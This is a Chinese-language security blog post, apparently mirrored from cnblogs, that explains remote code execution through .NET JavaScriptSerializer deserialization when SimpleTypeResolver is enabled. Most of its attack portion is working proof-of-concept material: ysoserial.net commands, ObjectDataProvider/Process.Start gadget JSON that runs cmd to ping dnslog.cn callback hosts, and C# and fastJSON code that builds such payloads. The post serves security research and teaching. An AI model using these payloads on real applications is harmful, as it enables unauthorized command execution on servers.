zoukankan      html  css  js  c++  java
  • .net JavaScriptSerializer反序列化漏洞

    net中的javascriptserializer

    在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用,让开发者轻松实现.Net中所有类型和Json数据之间的转换,但在某些场景下开发者使用Deserialize 或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞。
    

     第一步 看javascript 与类之间的相互转换

    序列化

    <%@ Page Language="C#" AutoEventWireup="true" %>
    <%@ Import Namespace="Myjavascript" %>
    <%@ Import Namespace="System.Web.Script.Serialization" %>
    <%@ Import Namespace="System.Reflection" %>
    <%@ Import Namespace="System.Windows.Data" %>
    <%@ Import Namespace="System.Security.Principal" %>
    <%@ Import Namespace="System.Runtime.Serialization" %>
    <%@ Import Namespace="System.Net" %>
    <script runat="server">
        protected void Page_Load(object sender, EventArgs e){
        Myjavascript r= new Myjavascript { Ivale="",Svale=""};
        var serializer = new JavaScriptSerializer();
        var serializedResult = serializer.Serialize(r);
        //var deserializedResult = serializer.Deserialize(serializedResult);
        Response.Write(serializedResult);
        }
    </script>
    

     

     之前介绍过其它组件反序列化漏洞原理得知需要__type这个Key的值,要得到这个Value就必须得到程序集全标识(包括程序集名称、版本、语言文化和公钥),那么在JavaScriptSerializer中可以通过实例化SimpleTypeResolver类,作用是为托管类型提供类型解析器,可在序列化字符串中自定义类型的元数据程序集限定名称。笔者将代码改写添加类型解析器

     var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
    

     

     反序列化

    默认情况下JavaScriptSerializer不会使用类型解析器,所以它是一个安全的序列化处理类,漏洞的触发点也是在于初始化JavaScriptSerializer类的实例的时候是否创建了SimpleTypeResolver类,如果创建了,并且反序列化的Json数据在可控的情况下就可以触发反序列化漏洞

    反序列化过程就是将Json数据转换为对象,在JavaScriptSerializer类中创建对象然后调用DeserializeObject或Deserialize方法实现的。

     我们进入方法看一看 可以知道 当序列化json的字段没有超过最大范围时 执行BaseicDeserialize方法

    继续更进方法发现 如果传入是NEXTNoeEmptyChar而且dictionary里面包含_type则交给ConvertObjecttotype处理

     继续更进发现调用ConvertDictionartToObject

     这段代码首先判断ServerTypeFieldName存在值的话就输出赋值给对象s,第二步将对象s强制转换为字符串变量serverTypeName,第三部获取解析器中的实际类型,并且通过System.Activator的CreateInstance构造类型的实例

     Activator类提供了静态CreateInstance方法的几个重载版本,调用方法的时候既可以传递一个Type对象引用,也可以传递标识了类型的String,方法返回对新对象的引用。下图Demo展示了序列化和反序列化前后的效果:

    <%@ Page Language="C#" AutoEventWireup="true" %>
    <%@ Import Namespace="Myjavascript" %>
    <%@ Import Namespace="System.Web.Script.Serialization" %>
    <%@ Import Namespace="System.Reflection" %>
    <%@ Import Namespace="System.Windows.Data" %>
    <%@ Import Namespace="System.Security.Principal" %>
    <%@ Import Namespace="System.Runtime.Serialization" %>
    <%@ Import Namespace="System.Net" %>
    <script runat="server">
        protected void Page_Load(object sender, EventArgs e){
        Myjavascript r= new Myjavascript { Ivale="123",Svale=""};
        var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
        var serializedResult = serializer.Serialize(r);
        var deserializedResult = serializer.Deserialize<Myjavascript>(serializedResult);
        Response.Write(serializedResult);
        Response.Write(deserializedResult.Ivale);
        }
    </script>
    

     

     打造poc

    首先我们使用yso打造poc

    C:UserslocalhostDesktopysoserial-1.34Release>ysoserial.exe -o raw -g ObjectDataProvider -f javascriptserializer -c ping zn8q2v.dnslog.cn
    C:UserslocalhostDesktopysoserial-1.34Release>ysoserial.exe -o raw -g ObjectDataProvider -f javascriptserializer -c "ping zn8q2v.dnslog.cn"
    {
        '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        'MethodName':'Start',
        'ObjectInstance':{
            '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'StartInfo': {
                '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                'FileName':'cmd', 'Arguments':'/c ping zn8q2v.dnslog.cn'
            }
        }
    }
        var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
        var payload=@"{
        '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        'MethodName':'Start',
        'ObjectInstance':{
            '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'StartInfo': {
                '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                'FileName':'cmd', 'Arguments':'/c ping zn8q2v.dnslog.cn'
            }
        }
    }";
        var deserializedResult = serializer.Deserialize<Object>(payload);
    

    可以看见成功触发poc

     接下来我们手工打造poc

    也是使用

    ObjectDataProvider作为GADGETS

     因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先得考虑序列化ProcessStartInfo,如下代码Demo1

        ObjectDataProvider r= new ObjectDataProvider();
        r.ObjectInstance=new ProcessStartInfo();
        Type tye=r.ObjectInstance.GetType();
        PropertyInfo propertyName=tye.GetProperty("FileName");
        propertyName.SetValue(r.ObjectInstance,"cmd.exe",null);
        PropertyInfo propertyName2=tye.GetProperty("Arguments");
        propertyName2.SetValue(r.ObjectInstance,"/c ping dk87nn.dnslog.cn",null);
        r.MethodName="Start";
        var serializers = new JavaScriptSerializer(new SimpleTypeResolver());
        var payload = serializers.Serialize(r);
        var deserializedResult = serializers.Deserialize<Object>(payload);
        Response.Write(payload);

    Demo2

     用fastjson 解决

    System.Runtime循环报错
    <%@ Page Language="C#" AutoEventWireup="true" %>
    <%@ Import Namespace="Myjavascript" %>
    <%@ Import Namespace="System.Web.Script.Serialization" %>
    <%@ Import Namespace="System.Reflection" %>
    <%@ Import Namespace="System.Windows.Data" %>
    <%@ Import Namespace="System.Security.Principal" %>
    <%@ Import Namespace="System.Runtime.Serialization" %>
    <%@ Import Namespace="System.Diagnostics" %>
    <%@ Import Namespace="System.Net" %>
    <%@ Import Namespace="fastJSON" %>
    <script runat="server">
        protected void Page_Load(object sender, EventArgs e) {
            JSONParameters jSONParameters = new JSONParameters
            {
                UseExtensions = true,
            };
            ObjectDataProvider ok = new ObjectDataProvider();
            Process start = new Process();
            start.StartInfo.FileName = "cmd.exe";
            start.StartInfo.Arguments = "/c echo 123456>>c:\programdata\2xxxxx15.txt";
            ok.MethodName = "Start";
            ok.IsInitialLoadEnabled = true;
            ok.ObjectInstance = start;
            var s = JSON.ToJSON(ok, jSONParameters);
            jSONParameters.IgnoreAttributes.Add(typeof(IntPtr));
            //var s = "{"__type":{"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1","System.RuntimeType, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2","System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"3","System.IntPtr, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"4","System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"5"},"__type":"1","ObjectType":{"__type":"2"},"ObjectInstance":{"__type":"3","MaxWorkingSet":{"__type":"4"},"MinWorkingSet":{"__type":"4"},"PriorityBoostEnabled":true,"PriorityClass":"Normal","ProcessorAffinity":{"__type":"4"},"StartInfo":{"__type":"5","Verb":"","Arguments":"/c echo 123456>>c:\programdata\2xxxxx15.txt","CreateNoWindow":false,"RedirectStandardInput":false,"RedirectStandardOutput":false,"RedirectStandardError":false,"StandardErrorEncoding":null,"StandardOutputEncoding":null,"UseShellExecute":true,"UserName":"","Password":null,"PasswordInClearText":null,"Domain":"","LoadUserProfile":false,"FileName":"cmd.exe","WorkingDirectory":"","ErrorDialog":false,"ErrorDialogParentHandle":{"__type":"4"},"WindowStyle":"Normal"},"SynchronizingObject":null,"EnableRaisingEvents":false,"Site":null},"MethodName":"Start","IsAsynchronous":false,"IsInitialLoadEnabled":true}";
            var serializer = new JavaScriptSerializer(new SimpleTypeResolver());
            var serializedResult = serializer.Serialize(s);
            var deserializedResult = serializer.Deserialize<Object>(serializedResult);
            Response.Write(s);}
    
    </script>

     参考

    https://www.google.com.hk/search?newwindow=1&safe=strict&ei=K9HdX6OaJ4-B0wS945aICA&q=System.Reflection.RuntimeModule&oq=System.Reflection.RuntimeModule&gs_lcp=CgZwc3ktYWIQDFAAWABgtS5oAHAAeACAAQCIAQCSAQCYAQCqAQdnd3Mtd2l6&sclient=psy-ab&ved=0ahUKEwjj28DH5tntAhWPwJQKHb2xBYEQ4dUDCA0&uact=5
    https://www.freebuf.com/articles/web/198617.html
    https://www.syncfusion.com/forums/124633/a-circular-reference-was-detected-while-serializing-an-object-of-type-system-reflection
    https://blog.csdn.net/xcmonline/article/details/74977855
    https://www.coder.work/article/3048274
    http://www.codingwhy.com/view/4508.html
    https://www.infragistics.com/help/wpf/creating-an-xmldataprovider
    https://www.anquanke.com/post/id/199921
    https://docs.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider.constructorparameters?view=net-5.0#System_Windows_Data_ObjectDataProvider_ConstructorParameters
    https://stackoverflow.com/questions/37092145/how-to-use-an-objectdataprovider-to-bind-an-enum-to-a-combobox-in-xaml
    https://docs.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=net-5.0
     GADGETS
  • 相关阅读:
    html——黑体、斜体、下划线及删除线
    <转>DataGridView分页控件
    (转)Log4J 最佳实践之全能配置文件
    C# 单例代码
    MySql基本语句
    .NET中windows服务如何获取自己的安装路径
    web开发网址收藏...
    将字符串转换为json对象_正确语法
    (转)理解矩阵一、二、三
    将数据写入EXCEL多个表
  • 原文地址:https://www.cnblogs.com/-zhong/p/14160938.html
Copyright © 2011-2022 走看看